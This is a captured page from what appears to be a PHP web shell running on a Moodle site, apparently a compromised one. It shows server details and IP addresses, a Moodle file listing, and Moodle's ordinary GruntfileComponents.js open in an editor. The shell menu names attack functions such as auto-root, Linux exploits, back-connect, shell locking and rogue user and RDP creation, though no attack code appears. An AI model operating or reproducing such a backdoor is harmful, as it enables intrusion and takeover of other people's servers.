Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.204
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxr-xr-x
.grunt
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
analytics
[ DIR ]
drwxr-xr-x
auth
[ DIR ]
drwxr-xr-x
availability
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
badges
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
blog
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
cohort
[ DIR ]
drwxr-xr-x
comment
[ DIR ]
drwxr-xr-x
competency
[ DIR ]
drwxr-xr-x
completion
[ DIR ]
drwxr-xr-x
contentbank
[ DIR ]
drwxr-xr-x
course
[ DIR ]
drwxr-xr-x
customfield
[ DIR ]
drwxr-xr-x
dataformat
[ DIR ]
drwxr-xr-x
enrol
[ DIR ]
drwxr-xr-x
error
[ DIR ]
drwxr-xr-x
favourites
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
grade
[ DIR ]
drwxr-xr-x
group
[ DIR ]
drwxr-xr-x
h5p
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
iplookup
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
login
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
message
[ DIR ]
drwxr-xr-x
mnet
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
my
[ DIR ]
drwxr-xr-x
notes
[ DIR ]
drwxr-xr-x
payment
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
plagiarism
[ DIR ]
drwxr-xr-x
portfolio
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
question
[ DIR ]
drwxr-xr-x
rating
[ DIR ]
drwxr-xr-x
report
[ DIR ]
drwxr-xr-x
repository
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
tag
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
userpix
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
.eslintignore
2.35
KB
-rw-r--r--
.eslintrc
9.47
KB
-rw-r--r--
.ftpquota
16
B
-rw-------
.gherkin-lintrc
597
B
-rw-r--r--
.gitattributes
94
B
-rw-r--r--
.htaccess
281
B
-rw-r--r--
.jshintignore
16
B
-rw-r--r--
.jshintrc
1.51
KB
-rw-r--r--
.nvmrc
12
B
-rw-r--r--
.shifter.json
67
B
-rw-r--r--
.stylelintignore
2.39
KB
-rw-r--r--
.stylelintrc
4.62
KB
-rw-r--r--
.travis.yml
8.39
KB
-rw-r--r--
CONTRIBUTING.txt
2.3
KB
-rw-r--r--
COPYING.txt
34.32
KB
-rw-r--r--
Gruntfile.js
35.9
KB
-rw-r--r--
GruntfileComponents.js
7.77
KB
-rw-r--r--
INSTALL.txt
664
B
-rw-r--r--
PULL_REQUEST_TEMPLATE.txt
266
B
-rw-r--r--
README.txt
1.15
KB
-rw-r--r--
TRADEMARK.txt
2.15
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
babel-plugin-add-module-to-def...
8.04
KB
-rw-r--r--
behat.yml.dist
302
B
-rw-r--r--
brokenfile.php
1.13
KB
-rw-r--r--
composer.json
1.83
KB
-rw-r--r--
composer.lock
170.59
KB
-rw-r--r--
config-dist.php
55.61
KB
-rw-r--r--
config.php
1.31
KB
-rw-r--r--
draftfile.php
2.53
KB
-rw-r--r--
file.php
3.78
KB
-rw-r--r--
githash.php
953
B
-rw-rw-r--
help.php
1.83
KB
-rw-r--r--
help_ajax.php
1.39
KB
-rw-r--r--
index.php
4.61
KB
-rw-r--r--
install.php
25.57
KB
-rw-r--r--
npm-shrinkwrap.json
780.69
KB
-rw-r--r--
package.json
1.61
KB
-rw-r--r--
phpunit.xml.dist
9.96
KB
-rw-r--r--
pluginfile.php
1.64
KB
-rw-r--r--
security.txt
274
B
-rw-r--r--
tokenpluginfile.php
1.56
KB
-rw-r--r--
version.php
1.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GruntfileComponents.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Helper functions for working with Moodle component names, directories, and sources. * * @copyright 2019 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ "use strict"; /* eslint-env node */ /** @var {Object} A list of subsystems in Moodle */ const componentData = {}; /** * Load details of all moodle modules. * * @returns {object} */ const fetchComponentData = () => { const fs = require('fs'); const path = require('path'); const glob = require('glob'); const gruntFilePath = process.cwd(); if (!Object.entries(componentData).length) { componentData.subsystems = {}; componentData.pathList = []; // Fetch the component definiitions from the distributed JSON file. const components = JSON.parse(fs.readFileSync(`${gruntFilePath}/lib/components.json`)); // Build the list of moodle subsystems. componentData.subsystems.lib = 'core'; componentData.pathList.push(process.cwd() + path.sep + 'lib'); for (const [component, thisPath] of Object.entries(components.subsystems)) { if (thisPath) { // Prefix "core_" to the front of the subsystems. componentData.subsystems[thisPath] = `core_${component}`; componentData.pathList.push(process.cwd() + path.sep + thisPath); } } // The list of components incldues the list of subsystems. componentData.components = componentData.subsystems; // Go through each of the plugintypes. Object.entries(components.plugintypes).forEach(([pluginType, pluginTypePath]) => { // We don't allow any code in this place..? glob.sync(`${pluginTypePath}/*/version.php`).forEach(versionPath => { const componentPath = fs.realpathSync(path.dirname(versionPath)); const componentName = path.basename(componentPath); const frankenstyleName = `${pluginType}_${componentName}`; componentData.components[`${pluginTypePath}/${componentName}`] = frankenstyleName; componentData.pathList.push(componentPath); // Look for any subplugins. const subPluginConfigurationFile = `${componentPath}/db/subplugins.json`; if (fs.existsSync(subPluginConfigurationFile)) { const subpluginList = JSON.parse(fs.readFileSync(fs.realpathSync(subPluginConfigurationFile))); Object.entries(subpluginList.plugintypes).forEach(([subpluginType, subpluginTypePath]) => { glob.sync(`${subpluginTypePath}/*/version.php`).forEach(versionPath => { const componentPath = fs.realpathSync(path.dirname(versionPath)); const componentName = path.basename(componentPath); const frankenstyleName = `${subpluginType}_${componentName}`; componentData.components[`${subpluginTypePath}/${componentName}`] = frankenstyleName; componentData.pathList.push(componentPath); }); }); } }); }); } return componentData; }; /** * Get the list of paths to build AMD sources. * * @returns {Array} */ const getAmdSrcGlobList = () => { const globList = []; fetchComponentData().pathList.forEach(componentPath => { globList.push(`${componentPath}/amd/src/*.js`); globList.push(`${componentPath}/amd/src/**/*.js`); }); return globList; }; /** * Get the list of paths to build YUI sources. * * @param {String} relativeTo * @returns {Array} */ const getYuiSrcGlobList = relativeTo => { const globList = []; fetchComponentData().pathList.forEach(componentPath => { const relativeComponentPath = componentPath.replace(relativeTo, ''); globList.push(`${relativeComponentPath}/yui/src/**/*.js`); }); return globList; }; /** * Get the list of paths to thirdpartylibs.xml. * * @param {String} relativeTo * @returns {Array} */ const getThirdPartyLibsList = relativeTo => { const fs = require('fs'); const path = require('path'); return fetchComponentData().pathList .map(componentPath => path.relative(relativeTo, componentPath) + '/thirdpartylibs.xml') .map(componentPath => componentPath.replace(/\\/g, '/')) .filter(path => fs.existsSync(path)) .sort(); }; /** * Get the list of thirdparty library paths. * * @returns {array} */ const getThirdPartyPaths = () => { const DOMParser = require('xmldom').DOMParser; const fs = require('fs'); const path = require('path'); const xpath = require('xpath'); const thirdpartyfiles = getThirdPartyLibsList(fs.realpathSync('./')); const libs = ['node_modules/', 'vendor/']; const addLibToList = lib => { if (!lib.match('\\*') && fs.statSync(lib).isDirectory()) { // Ensure trailing slash on dirs. lib = lib.replace(/\/?$/, '/'); } // Look for duplicate paths before adding to array. if (libs.indexOf(lib) === -1) { libs.push(lib); } }; thirdpartyfiles.forEach(function(file) { const dirname = path.dirname(file); const xmlContent = fs.readFileSync(file, 'utf8'); const doc = new DOMParser().parseFromString(xmlContent); const nodes = xpath.select("/libraries/library/location/text()", doc); nodes.forEach(function(node) { let lib = path.posix.join(dirname, node.toString()); addLibToList(lib); }); }); return libs; }; /** * Find the name of the component matching the specified path. * * @param {String} path * @returns {String|null} Name of matching component. */ const getComponentFromPath = path => { const componentList = fetchComponentData().components; if (componentList.hasOwnProperty(path)) { return componentList[path]; } return null; }; /** * Check whether the supplied path, relative to the Gruntfile.js, is in a known component. * * @param {String} checkPath The path to check. This can be with either Windows, or Linux directory separators. * @returns {String|null} */ const getOwningComponentDirectory = checkPath => { const path = require('path'); // Fetch all components into a reverse sorted array. // This ensures that components which are within the directory of another component match first. const pathList = Object.keys(fetchComponentData().components).sort().reverse(); for (const componentPath of pathList) { // If the componentPath is the directory being checked, it will be empty. // If the componentPath is a parent of the directory being checked, the relative directory will not start with .. if (!path.relative(componentPath, checkPath).startsWith('..')) { return componentPath; } } return null; }; module.exports = { getAmdSrcGlobList, getComponentFromPath, getOwningComponentDirectory, getYuiSrcGlobList, getThirdPartyLibsList, getThirdPartyPaths, };
Close